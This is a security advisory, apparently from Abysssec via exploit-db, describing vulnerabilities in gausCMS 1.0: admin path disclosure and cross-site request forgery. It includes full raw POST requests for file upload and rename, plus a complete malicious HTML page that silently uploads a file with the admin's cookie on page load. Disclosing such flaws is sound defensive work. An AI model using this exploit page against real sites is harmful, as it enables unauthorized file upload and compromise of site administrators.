gausCMS – Multiple Vulnerabilities
''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/moaub-21-gauscms-multiple-vulnerabilities/ ''' Abysssec Inc Public Advisory Title : gausCMS Multiple Vulnerabilities Affected Version : Gaus CMS version 1.0 Discovery : www.abysssec.com Vendor : http://www.gaustudio.com/gausCMS.html Download Links : http://sourceforge.net/projects/gauscms/ Description : =========================================================================================== This version of gausCMS have Multiple Valnerabilities : 1- Access to Admin's Login and Information Disclosure 2- CSRF Upload arbitrary file and rename file Access to Admin's Section and Information Disclosure: =========================================================================================== With this path you can easily access to Admin's Login: http://Example.com/admin_includes/template/languages/english/english.txt Vulnerable Code: http://Example.com/default.asp Ln 37: Set oFile = FSO.GetFile(PATHADMIN & "admin_includes/template/languages/" & GUILanguage & "/" & GUILanguage & ".txt") CSRF Upload arbitrary file and rename file =========================================================================================== With send a POST request to this path, you can upload arbitrary file of course by Admin's cookie and by CSRF technique. http://Example.com/default.asp?dir=&toDo=uploadFile For example you can feed this POST Request to Admin : POST http://Example.com/default.asp?dir=&toDo=uploadFile HTTP/1.1 Host: Example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://Example.com/default.asp?dir=&toDo=uploadFile Cookie: Skin=default; ASPSESSIONIDQSASTTBS=EIPNNJIAKDDEAGDKACICOBHJ Content-Type: multipart/form-data; boundary=---------------------------287032381131322 Content-Length: 306 Message Body: -----------------------------287032381131322 Content-Disposition: form-data; name="attach1"; filename="Test.txt" Content-Type: text/plain 123 -----------------------------287032381131322 Content-Disposition: form-data; name="toDo" Upload File -----------------------------287032381131322-- ---------------------------------------------------------------------------------- With the same method we can rename files with following path: http://Example.com/default.asp?dir=&file=Test2.txt&toDo=Rename%20File For example you can feed this POST Request to Admin: POST http://Example.com/default.asp?dir=&file=Test.txt&toDo=Rename%20File HTTP/1.1 Host: Example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://Example.com/default.asp?dir=&file=Test2.txt&toDo=rename Cookie: Skin=default; ASPSESSIONIDQSASTTBS=IIPNNJIANIKOIKGOGOIKAJGE Content-Type: application/x-www-form-urlencoded Content-Length: 39 Message Body: newFileName=Test2.txt&toDo=Rename+File The Source of HTML Page (Malicious Link) for Upload Arbitrary file =========================================================================================== With this page, we send a POST request with AJAX to upload a file with Admin's Cookie. <html> <head> <title >Wellcome to gausCMS!</title> Hello! ... ... ... This page uploads a file <script> var binary; var filename; function FileUpload() { try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); } catch (e) { } var http = false; if (window.XMLHttpRequest) { http = new XMLHttpRequest(); } else if (window.ActiveXObject) { http = new ActiveXObject("Microsoft.XMLHTTP"); } var url = "http://Example.com/default.asp?dir=&toDo=uploadFile"; var filename = 'Test.txt'; var filetext = ' 123 '; var boundaryString = '---------------------------287032381131322'; var boundary = '--' + boundaryString; var requestbody = boundary + '\n' + 'Content-Disposition: form-data; name="attach1"; filename="' + filename + '"' + '\n' + 'Content-Type: text/plain' + '\n' + '\n' + filetext + '\n' + boundaryString + 'Content-Disposition: form-data; name="toDo"' +'Upload File' + '\n' + boundary; http.onreadystatechange = done; http.open('POST', url, true); http.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundaryString); http.setRequestHeader("Connection", "close"); http.setRequestHeader("Content-length", requestbody.length); http.send(requestbody); } function done() { if (http.readyState == 4 && http.status == 200) { //alert(http.responseText); //alert('Upload OK'); } } </script> </head> <body onload ="FileUpload();"> </body> </html> =========================================================================================== |